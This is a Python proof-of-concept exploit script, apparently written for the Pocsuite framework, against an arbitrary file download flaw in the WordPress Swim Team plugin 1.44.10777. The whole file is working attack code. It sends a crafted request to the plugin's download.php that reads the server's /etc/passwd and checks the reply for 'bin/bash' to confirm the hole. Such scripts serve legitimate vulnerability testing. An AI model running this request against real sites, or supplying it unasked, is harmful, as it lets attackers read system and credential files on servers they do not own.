WordPress Swim Team Plugin 1.44.10777 - Arbitrary File Download

                                                #!/usr/bin/env python
# -*- coding:utf-8 -*-

from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '89281'
    author = 'anonymous'
    vulDate = '2015-07-13'
    createDate = '2015-10-06'
    updateDate = '2015-10-06'
    references = ['http://www.sebug.net/vuldb/ssvid-89281']
    name = 'WordPress Swim Team Plugin Arbitrary File Download'
    appPowerLink = 'https://wordpress.org/plugins/wp-swimteam'
    appName = 'WordPress Swim Team Plugin'
    appVersion = '1.44.10777'
    vulType = 'Arbitrary File Download'
    desc = '''WordPress Swim Team Plugin Arbitrary File Download in download.php file.'''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self, verify=True):
        result = {}
        vul_url = '%s/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress' % self.url
        response = req.get(vul_url , timeout=10).content

        if 'bin/bash' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output
register(TestPOC)